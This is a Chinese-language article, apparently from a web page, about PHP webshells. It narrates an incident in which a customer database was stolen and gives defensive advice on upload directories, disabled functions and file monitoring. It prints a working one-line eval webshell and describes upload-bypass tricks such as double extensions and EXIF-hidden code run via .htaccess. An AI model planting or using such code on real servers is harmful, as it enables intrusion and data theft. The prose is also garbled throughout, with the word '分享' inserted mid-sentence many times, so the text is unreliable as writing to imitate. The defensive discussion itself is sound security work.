webshell分享
作者:探索 来源:百科 浏览: 【大 中 小】 发布时间:2026-10-17 06:13:59 评论数:
去年秋天,分享我帮一个做外贸的分享朋友查服务器。登录他的分享阿里云控制台,安全组日志里有一串奇怪的分享POST请求,目标路径是分享 /uploads/2023.php。点开那个文件,分享内容只有一行:<?分享php @eval($_POST['cmd']);?>。这就是分享一个典型的webshell,小到可以塞进任何一次文件上传的分享缝隙里。
webshell的分享本质是一段运行在服务器上的代码,攻击者通过HTTP请求向它发送指令,分享它把指令交给系统执行,分享再把结果回传。分享PHP、分享ASP、分享JSP都能写,甚至Python的CGI脚本也行。常见的一句话木马就上面那行,功能却不少:执行系统命令、读写文件、连接数据库、反弹shell。有人把它比作“服务器上的后门遥控器”,我觉得更准确的说法是——它是一把钥匙,复制一把藏在地毯下面。
去年那台服务器上,攻击者没做任何提权。他用的是 www-data 权限,但已经够用了。通过webshell,他翻了 /var/www/html 下的所有配置文件,找到了数据库密码,然后导出了整张客户表。整个过程只用了不到七分钟。我后来分析日志,发现入口是一个三年前就停止维护的WordPress插件,文件上传接口没有校验MIME类型,只检查了扩展名。攻击者把文件名改成 shell.php.jpg,服务器保存时又去掉了 .jpg,结果就留下了 shell.php。
这类漏洞现在依然常见。不是每个运维都盯着CVE公告,也不是每个开发都会写 move_uploaded_file 之后的二次校验。更麻烦的是,webshell可以变形。有人把代码拆成多个请求参数,运行时拼接;有人用 base64_decode 嵌套三层;还有人把一句话木马藏在图片的EXIF注释里,用 .htaccess 让图片被当作PHP解析。杀毒软件查杀时,特征库稍微旧一点就漏过去。
我见过最隐蔽的一个webshell,是伪装成 wp-cron.php 的。文件修改时间和原始文件只差两秒,内容里多了一段 if(isset($_GET['debug'])){ ...}。平时访问它跟正常一样,只有带特定参数时才触发。这种后门靠文件名和大小根本发现不了,得比对哈希或者用 find -mtime 去翻最近改动过的文件。
防御上,说复杂也复杂,说简单也简单。上传目录禁止执行PHP,这条规则能挡掉八成以上的webshell。Nginx里加一行 location ~* /uploads/.*\.php$ { deny all; } 就行。再狠一点,把 disable_functions 里的 system、exec、passthru 全禁掉,webshell就算传上去了也干不了大事。但很多共享主机不让改php.ini,那就只能靠WAF和文件监控。
我自己的习惯是,每台服务器上放一个 find /var/www -name "*.php" -mtime -1 的定时任务,每天凌晨跑一次,把结果发到邮箱。有一次真抓到一个,文件名叫 cache_1a2b3c.php,内容是一段混淆过的 assert。那个站用的是DedeCMS,老版本有已知的变量覆盖漏洞。攻击者从漏洞公开到实际利用,中间隔了四个月。这四个月里,他没动任何数据,只是偶尔用webshell看看服务器状态。这种“静默驻留”比直接删库更危险,因为你不知道他到底想干什么。
webshell分享这件事,在圈子里一直有市场。有人打包卖“免杀webshell”,有人写文章教你怎么绕过某款WAF。我不打算贴具体代码,但得说清楚:一个webshell从上传到执行,中间要过文件类型校验、内容检测、权限控制、网络隔离四道关。任何一道关失效,剩下的就只是时间问题。你可以在GitHub上搜到几千个webshell样本,但真正管用的防御手段,往往就是那几条最基础的配置。
最后说个细节。前面提到的那台服务器,我清理完之后建议朋友把上传目录整个移到对象存储里,用签名URL回源。他照做了,后来再没出过类似的事。webshell这东西,你堵住入口比事后查杀省力得多。别等看到 eval 才想起来去翻日志。
